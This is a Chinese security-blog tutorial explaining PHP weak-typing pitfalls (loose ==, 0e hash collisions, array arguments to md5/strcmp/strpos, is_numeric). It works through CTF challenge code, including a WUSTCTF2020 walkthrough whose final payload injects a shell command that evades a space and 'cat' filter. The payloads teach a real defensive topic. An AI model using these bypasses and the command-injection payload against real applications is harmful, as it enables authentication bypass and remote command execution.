freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

详解PHP弱类型安全问题
2022-07-18 10:29:13
所属地 广东省

弱类型的语言对变量的数据类型没有限制,你可以在任何地时候将变量赋值给任意的其他类型的变量,同时变量也可以转换成任意地其他类型的数据。这时候在类型转化、不同类型比较、不合理地传参,会造成意外执行结果和绕过防御。

一.     类型转换

php 常见的转换主要就是int转换为string,string转换为int。

int转string:


$var = 5;

方式1:$item = (string)$var;

方式2:$item = strval($var);


string转int:intval()函数。

var_dump(intval('2'))    //2

var_dump(intval('3abcd'))   //3

var_dump(intval('abcd')) //0


intval()转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。


php 有三个等号(===)和两个等号(==),区别在于三个等号比较时候,会比较变量类型再比较值,两个等号会转化为同一类型再比较。


<?php

var_dump(1 == '1a');//true

var_dump(null==false);//true

var_dump(0==false);//true

var_dump(0==null);//true


二.     比较操作符

2.1   整形与字符串比较

整形与字符串比较时,会将字符串转为整形再比较,转化规则为从字符串左边开始进行转换直到遇到非数值的字符。

<?

var_dump(0 == 'a');//true


2.2   Hash比较

当符合\d+e\d+ 的字符串,会将这种字符串解析为科学计数法,例如:0e1=0*10=0

如果 哈希计算结果 是以 0e 开头,在做比较的时候,可以用这种方法绕过


<?php

var_dump('0e481036490867661113260034900752' == '0' );//true

var_dump('0e509367213418206700842008763514'=='0e481036490867661113260034900752');//true

var_dump(md5('240610708') == md5('QNKCDZO'));//true

var_dump(md5('aabg7XSs') == md5('aabC9RqS'));//true

var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));//true

var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));//true


2.3   十六进制转换

php7版本以下,字符串以0x开头时,会将字符串转化为十进制再比较。


<?php

var_dump('0xccccccccc' == '54975581388'); //php7以下为true

例题:

<?php

error_reporting(0);

function noother_says_correct($temp)

{

$flag = 'flag{test}';

$one = ord('1');  //ord — 返回字符的 ASCII 码值

$nine = ord('9'); //ord — 返回字符的 ASCII 码值

$number = '3735929054';

// Check all the input characters!

for ($i = 0; $i < strlen($number); $i++)

{

// Disallow all the digits!

$digit = ord($temp{$i});

if ( ($digit >= $one) && ($digit <= $nine) ) ## 1到9不允许,但0允许

{

// Aha, digit not allowed!

return "flase";

}

}

if($number == $temp)

return $flag;

}

$temp = $_GET['password'];

echo noother_says_correct($temp);


password的字符串值中不能包含1-9的数值,可以含有0,将3735929054转为16进制结果为:deadc0de,传入?password=0xdeadc0de,即可绕过。

三.     内置函数松散型

调用函数时传递给函数无法接受的参数,导致意外的绕过。

3.1   md5()

php的md5( string $str[, bool $raw_output = FALSE] ) ,md5()函数的需要一个string类型的参数。当传入一个array时,md5()不会报错,无法求出array的md5值,结果为NULL, 这就会导致任意2个array的md5值都会相等。

<?php

$a= array('1');

$b= array('2');

var_dump(md5($a)===md5($b));

例题:

<?php

error_reporting(0);

$flag = 'flag{test}';

if (isset($_GET['username']) and isset($_GET['password'])) {

if ($_GET['username'] == $_GET['password'])

print 'Your password can not be your username.';

else if (md5($_GET['username']) === md5($_GET['password']))

die('Flag: '.$flag);

else

print 'Invalid password';

}

?>

1)传入两个数组参数

?username[]=1&password[]=2

2)MD5值相同

username=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

password=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

3.2   sha1()

PHP的sha1( string $str[, bool $raw_output = false] )也无法处array类型的参数。

例题:

<?php

$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password']))

{


if ($_GET['name'] == $_GET['password'])

echo 'Your password can not be your name!';

else if (sha1($_GET['name']) === sha1($_GET['password']))

die('Flag: '.$flag);

else

echo 'Invalid password.';

}

else

echo 'Login first!';

?>


传入两个不同值得数组类型参数即可

name[]=1&password[]=3

3.3   strcmp()

strcmp( string $str1, string $str2) ,二进制安全字符串比较,如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回> 0;如果两者相等,返回 0。 当传入参数为数组时,会返回NULL,NULL==0。

<?php

$a= ['2'];

$b= "1";

var_dump(strcmp($a,$b)==0);//true

例题:

<?php

$flag = "flag{xxxxx}";

if (isset($_GET['a'])) {

if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。

die('Flag: '.$flag);

else

print 'No';

}

?>


传入 a[]=。

3.4   switch()

如果 switch 是数字类型的 case 的判断时,switch 会将参数转换为 int 类型。

<?php

$i ="2qw";

switch ($i) {

case 0:

case 1:

case 2:

echo "2";

break;

case 3:

echo "3";

} //2,"2qw"转化为2

?>

3.5   in_array()

in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) ,检查数组中是否存在某个值,默认使用松散型来判断$needle是否在数组$haystack中,如果设置$strict = true,则在比较时会判断类型是否相等。

<?php

$array=[0,1,2,'3'];

var_dump(in_array('abc', $array)); //true ,‘abc’转化为0

var_dump(in_array('1bc', $array)); //true,'1bc'转化为1

3.6   array_search()

array_search( mixed $needle, array $haystack[, bool $strict = false] ),在数组中搜索给定的值,如果成功则返回首个相应的键名 。默认为松散比较比较,不判断类型是否相等。

<?php

$arrayName = [1,"3"];

$key="1a";

var_dump(array_search($key, $arrayName));//0

3.7   strpos()

strpos( string $haystack, mixed $needle[, int $offset = 0  ] ),返回 $needle 在 $haystack 中首次出现的数字位置,如果没找到将返回false,当传入的参数$haystack为数组时,将返回NULL,NULL!==false。

例题:

<?php

$flag = "flag";

if (isset ($_GET['nctf'])) {

if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) # %00截断

echo '必须输入数字才行';

else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)

die('Flag: '.$flag);

else

echo '骚年,继续努力吧啊~';

}


既要是纯数字,又要有’#biubiubiu’,strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]= 那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求。

3.8   is_numeric()

PHP提供了is_numeric函数,用来变量判断是否为数字。支持普通数字型字符串、科学记数法型字符串、部分支持十六进制0x型字符串。

例题1:

<?php

$temp = $_GET['password'];

is_numeric($temp)?die("no numeric"):NULL;

if($temp>1336){

echo $flag;

payload

password=1337a

例题2:

<?php

show_source(__FILE__);

$flag = "flag{xxxxxxx}";

if(isset($_GET['time'])){

if(!is_numeric($_GET['time'])){

echo 'The time must be number.';

}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){

echo 'This time is too short.';

}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){

echo 'This time is too long.';

}else{

sleep((int)$_GET['time']);

echo $flag;

}

echo '<hr>';

}

1).科学计数法

?time=5.276e6

2).十六进制

?time=0x4F1A01

四.     例题讲解

4.1   [WUSTCTF2020]朴实无华

robots.txt 得知 fAke_f1agggg.php 文件,访问一个假flag,响应头部有提示 fl4g.php文件

<?php

header('Content-type:text/html;charset=utf-8');

error_reporting(0);

highlight_file(__file__);

//level 1

if (isset($_GET['num'])){

$num = $_GET['num'];

if(intval($num) < 2020 && intval($num + 1) > 2021){

echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";

}else{

die("金钱解决不了穷人的本质问题");

}

}else{

die("去非洲吧");

}

//level 2

if (isset($_GET['md5'])){

$md5=$_GET['md5'];

if ($md5==md5($md5))

echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";

else

die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");

}else{

die("去非洲吧");

}


//get flag

if (isset($_GET['get_flag'])){

$get_flag = $_GET['get_flag'];

if(!strstr($get_flag," ")){

$get_flag = str_ireplace("cat", "wctf2020", $get_flag);

echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";

system($get_flag);

}else{

die("快到非洲了");

}

}else{

die("去非洲吧");

}

?>

level1

intval($num) < 2020 && intval($num + 1) > 2021

这里传入num=1e7即可。

在进行intval($num)时被截断成为1,1<2020 => True;

而$num+1时就解析为科学技术法,结果是10000001(也不知道位数对不对,随意啦)。

绕过了。

level2

$md5=$_GET['md5'];

一般绕过md5的方法有两种,一个是以0e开头,后面全是数字的结果,这个会被解析为科学计数法为0;另一个是利用数组绕过。

这里利用0e绕过:

md5('0e215962017') ==> “0e291242476940776845150308577824”

get flag

这里是个RCE,过滤了空格和cat。

空格用%09(tab)绕过,cat用反斜杠绕过,构造成ca\t:

fl4g.php?num=1e7&md5=0e215962017&get_flag=ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag


# php # php安全 # 弱类型
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录